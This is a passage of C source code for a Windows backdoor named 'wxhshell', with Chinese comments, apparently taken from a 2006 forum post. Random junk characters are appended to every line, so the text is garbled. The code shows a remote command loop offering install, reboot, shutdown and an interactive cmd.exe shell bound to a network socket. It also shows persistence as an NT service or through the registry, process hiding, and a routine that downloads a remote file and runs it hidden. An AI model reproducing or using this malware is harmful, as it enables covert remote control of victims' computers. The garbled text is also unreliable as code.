 w`77E=  
    switch(cmd[0]) { 3Mw2;.rk  
  Xyf7sHQ  
  // 帮助 RH"&B`  
  case '?': { .;:jGe(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OE"r=is  
    break; G OzV#  
  } NY& |:F  
  // 安装 =s\RK   
  case 'i': { :J'ibb1  
    if(Install()) ,)CRozC\}K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4;_<CB  
    else o|FY-+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IhRYV`:  
    break; -%h0`hOG{  
    } 60A E~  
  // 卸载 UP*\p79oO  
  case 'r': { nj@l5[  
    if(Uninstall()) +dt b~M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cSkJlhwNn  
    else }'FNGn.~#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C8J3^ ?7E  
    break; >`@c9 m  
    } tR;? o,T  
  // 显示 wxhshell 所在路径 s*XwU  
  case 'p': { b')Lj]%;k  
    char svExeFile[MAX_PATH]; =,UuQJ,l  
    strcpy(svExeFile,"\n\r"); l5}b.B^w  
      strcat(svExeFile,ExeFile); Rzolue 8  
        send(wsh,svExeFile,strlen(svExeFile),0); ,%L>TD'48s  
    break; <gdKuoY  
    } N@z+h  
  // 重启 T9N&Nh7 3  
  case 'b': { Ao%;!(\I%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `2j \(N,  
    if(Boot(REBOOT)) nCj_4,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9aE.jpN  
    else { LMV0:\>  
    closesocket(wsh); y'a(>s(  
    ExitThread(0); K?4/x4p@  
    } Pdg%:aY  
    break; a9OJC4\  
    } yXpU)|o  
  // 关机 -9.Rmv#og{  
  case 'd': { gm-m_cB<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); K)h\X~s  
    if(Boot(SHUTDOWN)) wl*"Vagb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_d=~whO&2  
    else { [CfA\-gx<f  
    closesocket(wsh); => PBdW  
    ExitThread(0); * MJl(  
    } @k~_ w#  
    break; frYPC Irj  
    } 6]#\|lds1  
  // 获取shell !A6l\_  
  case 's': { c1,dT2:=  
    CmdShell(wsh); !Gphs`YI  
    closesocket(wsh); P@u&~RN9f+  
    ExitThread(0); Rilr)$  
    break; 9O%4x"*PO  
  } )ny,vcU]  
  // 退出 Rj/9\F3H  
  case 'x': { T}?vp~./   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w'Kc#2  
    CloseIt(wsh); ddR_+B*H  
    break; N'#Lb0`B  
    } &.\|w  
  // 离开 (,J`!Y hS  
  case 'q': { aWLeyXsAu  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )>! IY Q  
    closesocket(wsh); 'm;M+:l 6  
    WSACleanup(); GisI/Ir[  
    exit(1); /R_*u4}iD  
    break; s1[_Pk;!  
        } .45XS>=z#  
  } Wgh4DhAW  
  } l Z3o3"  
<z>K{:+>  
  // 提示信息 .?TPoqs7Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "dKYJ&$  
} $J~~.PUXQ  
  } ~/@5&ajz  
"! yKX(aTX  
  return;  9"@P.8_  
} O\5*p=v  
]g>@r.Nc  
// shell模块句柄 NZ\aK}?~!  
int CmdShell(SOCKET sock) !f(aWrw7e6  
{ :Rs% (Z  
STARTUPINFO si; h=q%h8  
ZeroMemory(&si,sizeof(si)); 2C@hjw(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OFJ T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -jZP&8dPH  
PROCESS_INFORMATION ProcessInfo; /nK)esB1L  
char cmdline[]="cmd"; bw@Dc T&,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qM`XF32A$  
  return 0; _{EO9s2FG  
} 5-277?  
seFug  
// 自身启动模式 5(/ 5$u   
int StartFromService(void) hIj[#M&6  
{ q2I;Ly\3o  
typedef struct ${$XJs4  
{ (8!#<$  
  DWORD ExitStatus; iL-I#"qT,  
  DWORD PebBaseAddress; eJMD8#  
  DWORD AffinityMask; E)Z$7;N0x  
  DWORD BasePriority; )e)@_0  
  ULONG UniqueProcessId; K8dlECy  
  ULONG InheritedFromUniqueProcessId; ZCQ7xQD  
}   PROCESS_BASIC_INFORMATION; Jmb [d\ /D  
q%4l!gzF3  
PROCNTQSIP NtQueryInformationProcess; 4>4*4!KR}  
v-85` h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ILUA'T=B0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VV(>e@Bc4  
9o.WJ   
  HANDLE             hProcess; (K$K;f$"r  
  PROCESS_BASIC_INFORMATION pbi; GHHErXT\a  
qYg4H|6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vqLC?{i+  
  if(NULL == hInst ) return 0; 9Z0(e!b4S  
WUid5e2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /j]r?KAzw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @!\ g+z_"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p{j }%) 6n  
x@+m _y  
  if (!NtQueryInformationProcess) return 0; -jB1tba  
oZ O 6J-ea  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /EUv=89{!  
  if(!hProcess) return 0; e`Xy!@`_  
R v9?<]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q6y883>9  
c7j^O P  
  CloseHandle(hProcess); PUB|XgQDY:  
=*.Nt*;;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4z-sR/d  
if(hProcess==NULL) return 0; 3G9YpA_}X  
j%iz>  
HMODULE hMod; dbkccO}WB  
char procName[255]; %3e}YQe)  
unsigned long cbNeeded; \ ?[#>L4  
3,j)PKf ;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -OpI,qyS  
4#uWj ?u  
  CloseHandle(hProcess); PsDks3cG  
\#5t%t  
if(strstr(procName,"services")) return 1; // 以服务启动 M}4%LjD  
O6P0Am7s  
  return 0; // 注册表启动 &\][:kG;  
} ;T2)nSAqt  
5y! 4ny _  
// 主模块 d"+zDc;  
int StartWxhshell(LPSTR lpCmdLine) sk~rjH]-g$  
{ l=5(5\  
  SOCKET wsl; m?-3j65z  
BOOL val=TRUE; 05:`(vl  
  int port=0; A~Eu_m  
  struct sockaddr_in door; c/ wzV  
>Dpz0v  
  if(wscfg.ws_autoins) Install(); 9Ot;R?>(  
U">D_ 8  
port=atoi(lpCmdLine); TX]4Y953D  
PY: l  
if(port<=0) port=wscfg.ws_port; [~ bfM6Jw  
vy#n7hdCc  
  WSADATA data; wKhuUZj{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2Z6#3~  
lIO.LF3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R2Fh WiL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [7?K9r\#  
  door.sin_family = AF_INET; KyW6[WA9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 22|eiW/a  
  door.sin_port = htons(port); yk Sn=0  
5O&6 (Gaf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cbl@V 1  
closesocket(wsl); zp r`  
return 1; <Mo_GTOC!  
} 3ik  
)J8dm'wH92  
  if(listen(wsl,2) == INVALID_SOCKET) { i8I%}8  
closesocket(wsl); ;HM& ":7  
return 1; IC+Z C   
} KzZ! CB\  
  Wxhshell(wsl); >2`)S{pBD  
  WSACleanup(); !*.mcIQT  
Zo`'xg  
return 0; ilQ R@yp*  
,#&lNQ'I  
} \`o+Le+%  
o=?sMq1<  
// 以NT服务方式启动 OA2<jrGB!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) } ab@Nd$  
{ PygT_-3z{  
DWORD   status = 0; y]9 3z!#Z  
  DWORD   specificError = 0xfffffff; m/n_e g  
dg 0`0k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z %` \p  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T%K(opISc(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XJsHy_6  
  serviceStatus.dwWin32ExitCode     = 0; i$)bZr\  
  serviceStatus.dwServiceSpecificExitCode = 0; =,KRZqz  
  serviceStatus.dwCheckPoint       = 0; &TE=$a:d&  
  serviceStatus.dwWaitHint       = 0; 9 )u*IGj  
6 k+FTDL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J&S$F:HM  
  if (hServiceStatusHandle==0) return; O>xGH0H  
.&.j?kb  
status = GetLastError(); E\#hcvP  
  if (status!=NO_ERROR) 4H8vB^  
{ [o<R#f`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /j./  
    serviceStatus.dwCheckPoint       = 0; {gluK#Qm  
    serviceStatus.dwWaitHint       = 0; T5NO}bz  
    serviceStatus.dwWin32ExitCode     = status; Z5;1ySn{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 V*Di2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~WU _u,:  
    return; U?JZ23>bbw  
  } >- ]tOH,0  
kVw5z3]Xg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /K2VSj3\  
  serviceStatus.dwCheckPoint       = 0; [wP;g'F  
  serviceStatus.dwWaitHint       = 0; 2V_C_5)1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y$!K<c k  
} `h_,I R<  
>>=lh  
// 处理NT服务事件,比如:启动、停止 }N(-e$88  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E"bYl3  
{ m v%fX2.  
switch(fdwControl) lz@fXaZM  
{ ZO{uG(u  
case SERVICE_CONTROL_STOP: k_#ra7zP  
  serviceStatus.dwWin32ExitCode = 0; -EFtk\/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 64>E|w  
  serviceStatus.dwCheckPoint   = 0; jDI O,XuF  
  serviceStatus.dwWaitHint     = 0; |Y"q. n77  
  {  Ek(. ["  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGu:8`c9  
  } $n& alcU  
  return; \v{tK;  
case SERVICE_CONTROL_PAUSE: Q.#@xaX'{`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d*Dq=.F(  
  break; *:bNK5I.t  
case SERVICE_CONTROL_CONTINUE: &Qy_= -]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bKj#HHy\I  
  break; X0J@c "%0  
case SERVICE_CONTROL_INTERROGATE: a \B<(R.  
  break; e~=fo#*2?@  
}; q.FgX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0e9W>J9  
} 1w'iD X  
~F^=7oq  
// 标准应用程序主函数 |_8 ::kir:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g<{/mxv/  
{ R K#e7  
[>::@[  
// 获取操作系统版本 _aL:XKM  
OsIsNt=GetOsVer(); ^RrufwUA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OaRtGJnR  
9d^o2Y o  
  // 从命令行安装 #ebT$hf30  
  if(strpbrk(lpCmdLine,"iI")) Install(); @FIR9XJ  
Bu">)AnN  
  // 下载执行文件 T!eeMsI  
if(wscfg.ws_downexe) { D`0II=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5c($3Pno=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]h~=lItTRZ  
} :q S=_!1  
*5]fjh{  
if(!OsIsNt) { 1u7 5  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZN-J!e"`  
HideProc(); +"6_rbeuO  
StartWxhshell(lpCmdLine); ! L:!X88  
} /lkIbmV  
else 3g9xTG);eA  
  if(StartFromService()) 7)S`AQ2:)  
  // 以服务方式启动 xekW-=#a7-  
  StartServiceCtrlDispatcher(DispatchTable); S:/;|Dg  
else }MW*xtGV  
  // 普通方式启动 [tym~ZZ]_m  
  StartWxhshell(lpCmdLine); q0{KYWOvk  
J!O5`k*.C  
return 0; /vS!9f${  
}
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只看该作者 1 发表于: 2006-10-10
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